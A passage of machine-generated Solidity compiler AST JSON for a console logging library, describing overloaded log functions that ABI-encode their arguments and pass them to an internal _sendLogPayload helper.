memory"}},{"id":18763,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18753,"src":"26128:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_496e2bb45f5cdd3680c3e807c53955b9de163e898851c7844433c0a9c91dcd9d","typeString":"literal_string \"log(uint,bool,string,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18757,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26059:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18758,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26063:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26059:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18764,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26059:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18756,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"26043:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18765,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26043:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18766,"nodeType":"ExpressionStatement","src":"26043:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"25967:3:14","parameters":{"id":18754,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18747,"mutability":"mutable","name":"p0","nameLocation":"25976:2:14","nodeType":"VariableDeclaration","scope":18768,"src":"25971:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18746,"name":"uint","nodeType":"ElementaryTypeName","src":"25971:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18749,"mutability":"mutable","name":"p1","nameLocation":"25985:2:14","nodeType":"VariableDeclaration","scope":18768,"src":"25980:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18748,"name":"bool","nodeType":"ElementaryTypeName","src":"25980:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18751,"mutability":"mutable","name":"p2","nameLocation":"26003:2:14","nodeType":"VariableDeclaration","scope":18768,"src":"25989:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18750,"name":"string","nodeType":"ElementaryTypeName","src":"25989:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":18753,"mutability":"mutable","name":"p3","nameLocation":"26015:2:14","nodeType":"VariableDeclaration","scope":18768,"src":"26007:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18752,"name":"address","nodeType":"ElementaryTypeName","src":"26007:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"25970:48:14"},"returnParameters":{"id":18755,"nodeType":"ParameterList","parameters":[],"src":"26033:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18791,"nodeType":"FunctionDefinition","src":"26145:164:14","nodes":[],"body":{"id":18790,"nodeType":"Block","src":"26208:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c626f6f6c2c75696e7429","id":18782,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26258:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_bd25ad5987e2f3e90d5ff2c9e0dad802782e9040e45e823722ccf598278cf7ed","typeString":"literal_string \"log(uint,bool,bool,uint)\""},"value":"log(uint,bool,bool,uint)"},{"id":18783,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18770,"src":"26286:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18784,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18772,"src":"26290:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18785,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18774,"src":"26294:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18786,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18776,"src":"26298:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_bd25ad5987e2f3e90d5ff2c9e0dad802782e9040e45e823722ccf598278cf7ed","typeString":"literal_string \"log(uint,bool,bool,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18780,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26234:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18781,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26238:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26234:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18787,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26234:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18779,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"26218:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18788,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26218:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18789,"nodeType":"ExpressionStatement","src":"26218:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26154:3:14","parameters":{"id":18777,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18770,"mutability":"mutable","name":"p0","nameLocation":"26163:2:14","nodeType":"VariableDeclaration","scope":18791,"src":"26158:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18769,"name":"uint","nodeType":"ElementaryTypeName","src":"26158:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18772,"mutability":"mutable","name":"p1","nameLocation":"26172:2:14","nodeType":"VariableDeclaration","scope":18791,"src":"26167:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18771,"name":"bool","nodeType":"ElementaryTypeName","src":"26167:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18774,"mutability":"mutable","name":"p2","nameLocation":"26181:2:14","nodeType":"VariableDeclaration","scope":18791,"src":"26176:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18773,"name":"bool","nodeType":"ElementaryTypeName","src":"26176:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18776,"mutability":"mutable","name":"p3","nameLocation":"26190:2:14","nodeType":"VariableDeclaration","scope":18791,"src":"26185:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18775,"name":"uint","nodeType":"ElementaryTypeName","src":"26185:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"26157:36:14"},"returnParameters":{"id":18778,"nodeType":"ParameterList","parameters":[],"src":"26208:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18814,"nodeType":"FunctionDefinition","src":"26315:175:14","nodes":[],"body":{"id":18813,"nodeType":"Block","src":"26387:103:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c626f6f6c2c737472696e6729","id":18805,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26437:28:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_318ae59b506d4efe5cd02b34be9f24009f0134ab1136defc4789a09e425a8861","typeString":"literal_string \"log(uint,bool,bool,string)\""},"value":"log(uint,bool,bool,string)"},{"id":18806,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18793,"src":"26467:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18807,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18795,"src":"26471:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18808,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18797,"src":"26475:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18809,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18799,"src":"26479:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_318ae59b506d4efe5cd02b34be9f24009f0134ab1136defc4789a09e425a8861","typeString":"literal_string \"log(uint,bool,bool,string)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":18803,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26413:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18804,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26417:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26413:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18810,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26413:69:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18802,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"26397:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18811,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26397:86:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18812,"nodeType":"ExpressionStatement","src":"26397:86:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26324:3:14","parameters":{"id":18800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18793,"mutability":"mutable","name":"p0","nameLocation":"26333:2:14","nodeType":"VariableDeclaration","scope":18814,"src":"26328:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18792,"name":"uint","nodeType":"ElementaryTypeName","src":"26328:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18795,"mutability":"mutable","name":"p1","nameLocation":"26342:2:14","nodeType":"VariableDeclaration","scope":18814,"src":"26337:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18794,"name":"bool","nodeType":"ElementaryTypeName","src":"26337:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18797,"mutability":"mutable","name":"p2","nameLocation":"26351:2:14","nodeType":"VariableDeclaration","scope":18814,"src":"26346:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18796,"name":"bool","nodeType":"ElementaryTypeName","src":"26346:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18799,"mutability":"mutable","name":"p3","nameLocation":"26369:2:14","nodeType":"VariableDeclaration","scope":18814,"src":"26355:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":18798,"name":"string","nodeType":"ElementaryTypeName","src":"26355:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"26327:45:14"},"returnParameters":{"id":18801,"nodeType":"ParameterList","parameters":[],"src":"26387:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18837,"nodeType":"FunctionDefinition","src":"26496:164:14","nodes":[],"body":{"id":18836,"nodeType":"Block","src":"26559:101:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c626f6f6c2c626f6f6c29","id":18828,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26609:26:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_4e6c5315e6998332ba87ae2545bc72447c94349a51e999446a98bfab04167b32","typeString":"literal_string \"log(uint,bool,bool,bool)\""},"value":"log(uint,bool,bool,bool)"},{"id":18829,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18816,"src":"26637:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18830,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18818,"src":"26641:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18831,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18820,"src":"26645:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18832,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18822,"src":"26649:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_4e6c5315e6998332ba87ae2545bc72447c94349a51e999446a98bfab04167b32","typeString":"literal_string \"log(uint,bool,bool,bool)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":18826,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26585:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18827,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26589:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26585:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18833,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26585:67:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18825,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"26569:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18834,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26569:84:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18835,"nodeType":"ExpressionStatement","src":"26569:84:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26505:3:14","parameters":{"id":18823,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18816,"mutability":"mutable","name":"p0","nameLocation":"26514:2:14","nodeType":"VariableDeclaration","scope":18837,"src":"26509:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18815,"name":"uint","nodeType":"ElementaryTypeName","src":"26509:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18818,"mutability":"mutable","name":"p1","nameLocation":"26523:2:14","nodeType":"VariableDeclaration","scope":18837,"src":"26518:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18817,"name":"bool","nodeType":"ElementaryTypeName","src":"26518:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18820,"mutability":"mutable","name":"p2","nameLocation":"26532:2:14","nodeType":"VariableDeclaration","scope":18837,"src":"26527:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18819,"name":"bool","nodeType":"ElementaryTypeName","src":"26527:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18822,"mutability":"mutable","name":"p3","nameLocation":"26541:2:14","nodeType":"VariableDeclaration","scope":18837,"src":"26536:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18821,"name":"bool","nodeType":"ElementaryTypeName","src":"26536:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"26508:36:14"},"returnParameters":{"id":18824,"nodeType":"ParameterList","parameters":[],"src":"26559:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18860,"nodeType":"FunctionDefinition","src":"26666:170:14","nodes":[],"body":{"id":18859,"nodeType":"Block","src":"26732:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c626f6f6c2c6164647265737329","id":18851,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26782:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_5306225d3f6a0c340e12a634d8571b24a659d0fdcb96dd45e3bd062feb68355b","typeString":"literal_string \"log(uint,bool,bool,address)\""},"value":"log(uint,bool,bool,address)"},{"id":18852,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18839,"src":"26813:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18853,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18841,"src":"26817:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18854,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18843,"src":"26821:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18855,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18845,"src":"26825:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_5306225d3f6a0c340e12a634d8571b24a659d0fdcb96dd45e3bd062feb68355b","typeString":"literal_string \"log(uint,bool,bool,address)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":18849,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26758:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18850,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26762:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26758:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18856,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26758:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18848,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"26742:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18857,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26742:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18858,"nodeType":"ExpressionStatement","src":"26742:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26675:3:14","parameters":{"id":18846,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18839,"mutability":"mutable","name":"p0","nameLocation":"26684:2:14","nodeType":"VariableDeclaration","scope":18860,"src":"26679:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18838,"name":"uint","nodeType":"ElementaryTypeName","src":"26679:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":18841,"mutability":"mutable","name":"p1","nameLocation":"26693:2:14","nodeType":"VariableDeclaration","scope":18860,"src":"26688:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18840,"name":"bool","nodeType":"ElementaryTypeName","src":"26688:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18843,"mutability":"mutable","name":"p2","nameLocation":"26702:2:14","nodeType":"VariableDeclaration","scope":18860,"src":"26697:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":18842,"name":"bool","nodeType":"ElementaryTypeName","src":"26697:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":18845,"mutability":"mutable","name":"p3","nameLocation":"26714:2:14","nodeType":"VariableDeclaration","scope":18860,"src":"26706:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":18844,"name":"address","nodeType":"ElementaryTypeName","src":"26706:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"26678:39:14"},"returnParameters":{"id":18847,"nodeType":"ParameterList","parameters":[],"src":"26732:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":18883,"nodeType":"FunctionDefinition","src":"26842:170:14","nodes":[],"body":{"id":18882,"nodeType":"Block","src":"26908:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f672875696e742c626f6f6c2c616464726573732c75696e7429","id":18874,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"26958:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_41b5ef3bc57cb6072d9bbab757f04e68fb78a6a8b29741a7b963761abce32fb1","typeString":"literal_string \"log(uint,bool,address,uint)\""},"value":"log(uint,bool,address,uint)"},{"id":18875,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18862,"src":"26989:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":18876,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18864,"src":"26993:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":18877,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18866,"src":"26997:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":18878,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":18868,"src":"27001:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_41b5ef3bc57cb6072d9bbab757f04e68fb78a6a8b29741a7b963761abce32fb1","typeString":"literal_string \"log(uint,bool,address,uint)\""},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":18872,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"26934:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":18873,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"26938:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"26934:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":18879,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26934:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":18871,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"26918:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":18880,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"26918:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":18881,"nodeType":"ExpressionStatement","src":"26918:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"26851:3:14","parameters":{"id":18869,"nodeType":"ParameterList","parameters":[{"constant":false,"id":18862,"mutability":"mutable","name":"p0","nameLocation":"26860:2:14","nodeType":"VariableDeclaration","scope":18883,"src":"26855:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":18861,"name":"uint","nodeType":"ElementaryTypeName","src":"26855:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"